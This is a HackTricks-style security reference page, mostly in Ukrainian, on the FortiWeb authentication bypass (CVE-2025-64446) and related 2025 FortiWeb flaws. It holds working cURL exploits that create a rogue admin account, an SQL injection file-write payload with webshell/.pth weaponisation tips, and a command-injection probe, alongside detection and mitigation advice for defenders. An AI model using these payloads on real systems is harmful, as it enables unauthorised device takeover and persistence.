Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

Fortinet FortiWeb надає централізований CGI-диспетчер за адресою /cgi-bin/fwbcgi. Комбінація двох багів дозволяє неавторизованому віддаленому нападнику:

  • Отримати доступ до fwbcgi, почавши URL з дійсного API prefix та здійснивши обхід директорій.
  • Вдавати будь-якого користувача (включно зі вбудованим admin), надаючи спеціальний HTTP header, якому CGI довіряє як ідентифікації.

Офіційне повідомлення вендора: FG‑IR‑25‑910 (CVE‑2025‑64446). У реальному середовищі зафіксовано експлуатацію вразливості для створення постійних облікових записів admin.

Уразливі версії (згідно з опублікованими даними):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 повертає HTTP 403 для traversal probe, наведеного нижче.

Швидка перевірка вразливості

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Інтерпретація: HTTP 200 → ймовірно вразливий; HTTP 403 → виправлено.

Ланцюжок причин

  1. API-prefix path traversal to internal CGI
  • Будь-який шлях запиту, що починається з дійсного префікса API FortiWeb (наприклад, /api/v2.0/cmdb/ або /api/v2.0/cmd/), може виконати path traversal за допомогою ../ до /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Після досягнення fwbcgi перша перевірка виконує помірну JSON-перевірку, ключовану per-path файлом у /var/log/inputcheck/. Якщо файл відсутній, перевірка проходить негайно. Якщо присутній, тілу достатньо бути валідним JSON. Використовуйте {} як мінімальне сумісне тіло.
  1. Header-driven user impersonation
  • Програма читає CGI-змінну середовища HTTP_CGIINFO (виведену з HTTP-заголовка CGIINFO), декодує Base64, парсить JSON і копіює атрибути безпосередньо в контекст входу, встановлюючи domain/VDOM. Ключі, що становлять інтерес:
  • username, loginname, vdom, profname
  • Приклад JSON для impersonate вбудованого admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 наведеного вище (як використовується в реальному середовищі):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

End-to-end патерн зловживання (без автентифікації → admin)

  1. Дістатися до /cgi-bin/fwbcgi через API-prefix traversal.
  2. Надати будь-яке валідне JSON тіло (наприклад, {}), щоб задовольнити перевірку вводу.
  3. Відправити заголовок CGIINFO: <base64(json)>, де JSON визначає цільову ідентичність.
  4. Виконати POST із backend JSON, який очікує fwbcgi, щоб виконати привілейовані дії (наприклад, створити admin-користувача для персистентності).

Мінімальний cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Видати себе за admin та створити нового локального admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Примітки:

  • Будь-яке дійсне JSON тіло підходить (наприклад, {}), якщо /var/log/inputcheck/<path>.json не існує.
  • Схема дій внутрішня для FortiWeb; наведений вище приклад додає локального адміністратора з повними привілеями.

Інші вразливості FortiWeb 2025, які варто швидко перевірити

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • Вражає версії 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Виправлено у 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
  • Баг: get_fabric_user_by_token() використовує значення Authorization: Bearer <token> безпосередньо в SQL-запиті. Атакуючий підставляє SQL, який виконується від імені користувача MySQL і може записати файли через SELECT ... INTO OUTFILE, що дає виконання коду (webshell/.pth loader).
  • Типова поверхня атаки: /api/fabric/device/status (та інші ендпоінти Fabric Connector) через HTTP/HTTPS на площині управління.
  • Швидкий тест на SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • Weaponization: записати .pth у Python site-packages FortiWeb, який імпортує os;os.system(...) при запуску інтерпретатора, або розмістити CGI у веб-корені. Перезапуск сервісів виконає payload.
  • Hunting clues: заголовки Authorization, що містять quotes/UNION/SELECT; несподівані файли в /data/lib/python*/site-packages/ або /data/var/waf/html/ROOT/cgi-bin/.

Обхід перевірки підпису FortiCloud SSO (CVE-2025-59719)

  • Improper SAML signature verification дозволяє атакуючому підробляти FortiCloud SSO відповіді та увійти як admin без облікових даних.
  • Експлуатується лише коли FortiCloud SSO login увімкнено (вмикається автоматично, якщо пристрій було зареєстровано через GUI, якщо тільки не було знято відповідний прапорець).
  • Вразливі (за даними PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Виправлено в 8.0.1 / 7.6.5 / 7.4.10.

OS command injection у панелі управління (CVE-2025-58034)

  • Вразливі: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Виправлено в 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
  • Практичний probe (не руйнівний): відправити параметр, який містить ;id; до management HTTP endpoint-ів і спостерігати 500 відповіді з виводом команд; негайно блокувати або патчити, якщо помітно будь-який вивід.

Detection

  • Запити, що досягають /cgi-bin/fwbcgi через API-префікс шляхи, що містять ../ (наприклад, /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Наявність заголовка CGIINFO з Base64 JSON, який містить ключі username/loginname/vdom/profname.
  • Fabric Connector SQLi: заголовки Authorization, що містять SQL мета-символи; раптові файли в Python site-packages/CGI каталогах; звернення до /api/fabric/device/status з інтернет IP.
  • FortiCloud SSO: неочікувані SAML issuer або audience значення в /var/log/ssod.
  • Backend artifacts:
  • Per-path файли під /var/log/inputcheck/ (конфігурація gate).
  • Неочікуване створення admin та зміни конфігурації.
  • Швидка валідація: traversal probe повертає 200 (експоновано) vs 403 (заблоковано в виправлених збірках).

Mitigation

  • Оновіть до виправлених релізів (приклади: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) згідно з advisory вендора.
  • Запатчіть інші вразливості 2025 року: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
  • До застосування патчів:
  • Не експонуйте FortiWeb management plane у ненадійні мережі.
  • Додайте reverse-proxy/WAF правила для блокування:
  • Шляхів, що починаються з /api/ і містять ../cgi-bin/fwbcgi.
  • Запитів з заголовком CGIINFO.
  • Викликів Fabric Connector з SQL мета-символами в Authorization.
  • SAML endpoint-ів з інтернету, якщо FortiCloud SSO не використовується.
  • Моніторьте та налаштуйте алерти за індикаторами виявлення вище.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks